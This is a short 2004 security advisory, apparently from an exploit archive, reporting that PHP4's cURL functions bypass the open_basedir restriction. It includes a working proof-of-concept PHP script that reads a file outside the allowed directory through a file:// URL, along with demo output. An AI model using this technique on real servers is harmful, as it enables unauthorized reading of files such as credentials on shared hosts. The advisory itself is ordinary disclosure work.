exploit the possibilities

php4curl.txt

php4curl.txt
Posted Oct 28, 2004
Authored by FraMe | Site kernelpanik.org

PHP4 cURL functions bypass open_basedir protection allowing users to navigate through the filesystem.

tags | advisory
MD5 | 426f895856b6e38fa2c921ed2bfb7aaf

php4curl.txt

Change Mirror Download
====================================================
Subject: PHP4 cURL functions bypass open_basedir
Author: frame at kernelpanik.org
Product: PHP4 compile with cURL (not tested in PHP5)
Vendor: PHP/Zend
Vendor URL: www.php.net
Tipe: Local
Risk: Low/Medium
=====================================================

PHP cURL functions bypass open_basedir
protection, so users can navigate through
filesystem.

For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions.

== Proof of concept (curl.php)
<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?>

== Demo
$ cat /etc/parla
don't read please!

$ links -dump http://localhost/curltest/curl.php
don't read please!

== Release Timeline
No release timeline.

--
FraMe <frame@kernelpanik.org>
http://www.kernelpanik.org

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